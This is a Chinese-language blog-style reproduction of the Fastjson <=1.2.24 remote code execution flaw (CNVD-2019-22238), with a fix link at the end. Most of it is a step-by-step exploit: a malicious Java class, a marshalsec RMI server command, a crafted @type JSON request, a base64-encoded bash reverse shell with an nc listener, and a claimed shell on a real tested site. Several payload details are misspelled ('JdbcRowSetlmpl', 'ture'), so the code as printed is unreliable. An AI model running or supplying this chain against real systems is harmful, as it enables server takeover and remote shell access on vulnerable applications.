01 漏洞描述

Fastjason是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。由于其序列化jason文件速度快且中文文档非常全面,所以为国内广大开发人员所应用。

fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,入侵者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。由于1.2.24版本及之前版本的fast json对传入的参数没有检查过滤 只要再 “b”: { }内就会被反序列化。


02 影响范围

fastjson <=1.2.24

03 验证方式

在vulhub起靶场环境,访问页面后内容如下即为环境搭建成功。

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_JSON


测试fastjson成功请求的数据包,如下图所示

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_java_02


使用Burp抓包,将GET请求方式更改为POST请求,并随便输入一个json格式数据,发送数据包使其报错,看回显有com.alibaba.fastjson.JSON 特征

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_java_03

这里使用dnslog做漏洞进一步验证:

1、本地javac进行编译,生成class文件fastjson.class

import java.lang.Runtime;
import java.lang.Process;

public class fastjson{
  static {
    try {
      Runtime rt = Runtime.getRuntime();
      String[] commands = {"/bin/sh", "ping user.`whoami`.dnslog平台生成的网址"};
      Process pc = rt.exec(commands);
      pc.waitFor();
    } catch (Exception e) {
      // do nothing
    }
  }
}

2、本地使用python开启http服务,将生成的fastjson.class文件放置http目录下

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_JSON_04

3、使用marshalsec开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  "http://xx.xx.xx.xx:8000/#fastjson" 9999
##“http://python开启的http服务IP:PORT/#恶意class文件类名  自定义端口

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_JSON_05

4、构造恶意请求包,使得受入侵服务器向DNS服务器发起请求

POST / HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetlmpl",
      "dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
      "autoCommit":ture
  }
}

5、在dnslog查看到访问记录证明漏洞存在

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_java_06


04 利用方式


使用Fastjson远程代码执行漏洞进行反弹shell

1、本地javac进行编译,生成class文件Exploit.class

import java.lang.Runtime;
import java.lang.Process;

public class fastjson{
  static {
    try {
      Runtime rt = Runtime.getRuntime();
      String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|{bash,-i}"};
      Process pc = rt.exec(commands);
      pc.waitFor();
    } catch (Exception e) {
      // YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE= 为base64编码的IP和PORT
    }
  }
}

2、本地使用python开启http服务,将生成的Exploit.class文件放置http目录下

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_JSON_07


3、使用marshalsec开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  "http://xx.xx.xx.xx:8000/#fastjson" 9999
##“http://python开启的http服务IP:PORT/#恶意class文件类名  自定义端口

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_java_08


4、在VPS上启用nc,监听8888端口

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_java_09

5、构造恶意请求包,使得受入侵服务器回弹shell

POST / HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetlmpl",
      "dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
      "autoCommit":ture
  }
}

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_json_10



05 实战案例

某测试发现站点fastjson在解析json数据,进行dnslog验证后发现漏洞问题存在,进而构造恶意代码获取服务器shell,详情如下图所示:

Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_json_11


Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_java_12


Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现_json_13


06 修复方案


请联系厂商获取修复后的官方版:https://github.com/alibaba/fastjson/releases